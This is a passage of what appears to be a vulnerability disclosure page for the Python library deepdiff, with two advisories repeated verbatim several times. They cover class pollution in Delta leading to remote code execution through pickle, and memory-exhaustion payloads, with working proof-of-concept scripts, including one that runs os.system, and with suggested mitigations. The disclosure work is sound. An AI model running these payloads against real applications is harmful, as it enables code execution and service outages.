  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

